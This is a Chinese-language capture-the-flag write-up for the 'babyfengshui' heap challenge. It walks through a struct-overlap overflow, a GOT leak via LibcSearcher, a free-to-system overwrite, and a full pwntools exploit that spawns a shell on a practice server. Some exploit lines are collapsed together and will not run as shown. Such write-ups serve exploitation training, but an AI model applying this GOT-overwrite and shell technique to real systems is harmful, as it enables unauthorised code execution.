babyfengshui_33c3_2016的wp

这是个相当好的堆题
add函数

可以看出这是个结构体

struct Node{char * description;char name[0x7C];
}

s便是description的空间地址，而v2则是结构体的空间。
delete函数

display

update

这里限制了输入的长度
对于chunk0来说，就是0x80c008+输入长度是否大于0x804c08c，但是，有一个问题就是，chunk0和chunk0(name)其实不一定是相邻的，这样的话就有了实现溢出的可能

add(0x80,"nam1",0x80,"aaaa")
add(0x80,"nam2",0x80,"bbbb")
add(0x80,"nam3",0x80,"/bin/sh\x00")
delete(0)
add(0x100,'nam1',0x100,"cccc")

这样一步过后，新申请的chunk3会在chunk1和chunk2的前面，chunk3(name)则会在chunk1和chunk2的后面，这样就可以输入很长的数据了

payload='a'*0x108+'a'*0x8+'a'*0x80+'a'*0x8+p32(free_got)
update(3,0x200,payload)

把chunk1(name)处存储的chunk1指针改成free_got的地址

show(1)
sh.recvuntil("description: ")
free_addr=u32(sh.recv(4))
libc=LibcSearcher("free",free_addr)
libc_base=free_addr-libc.dump("free")
system_addr=libc_base+libc.dump("system")

把free函数的地址修改为system函数的地址，由于chunk2里存的是”/bin/sh“，这时候执行free(chunk2)就相当于执行system("/bin/sh")

update(1,0x80,p32(system_addr))
delete(2)
sh.interactive()

exp

from pwn import *
from LibcSearcher import LibcSearcher
context.log_level='debug'
sh=remote("node3.buuoj.cn",25673)
elf=ELF('./baby')
puts_got=elf.got['puts']
free_got=elf.got['free']def add(size,name,length,text):sh.recvuntil("Action: ")sh.sendline("0")sh.sendlineafter("size of description: ",str(size))sh.sendlineafter("name: ",name)sh.recvuntil("text length:")sh.sendline(str(length))sh.recvuntil("text:")sh.sendline(text)
def delete(index):sh.recvuntil("Action: ")sh.sendline("1")sh.recvuntil("index: ")sh.sendline(str(index))
def show(index):sh.recvuntil("Action: ")sh.sendline("2")sh.recvuntil("index: ")sh.sendline(str(index))
def update(index,length,text):sh.recvuntil("Action: ")sh.sendline("3")sh.recvuntil("index: ")sh.sendline(str(index))sh.recvuntil("text length: ")sh.sendline(str(length))sh.recvuntil("text: ")sh.sendline(text)add(0x80,"nam1",0x80,"aaaa")
add(0x80,"nam2",0x80,"bbbb")
add(0x80,"nam3",0x80,"/bin/sh\x00")
delete(0)
add(0x100,'nam1',0x100,"cccc")
payload=b'a'*0x108+b'a'*0x8+b'a'*0x80+b'a'*0x8+p32(free_got)
update(3,0x200,payload)
show(1)
sh.recvuntil("description: ")
free_addr=u32(sh.recv(4))
libc=LibcSearcher("free",free_addr)
libc_base=free_addr-libc.dump("free")
system_addr=libc_base+libc.dump("system")
update(1,0x80,p32(system_addr))
delete(2)
sh.interactive()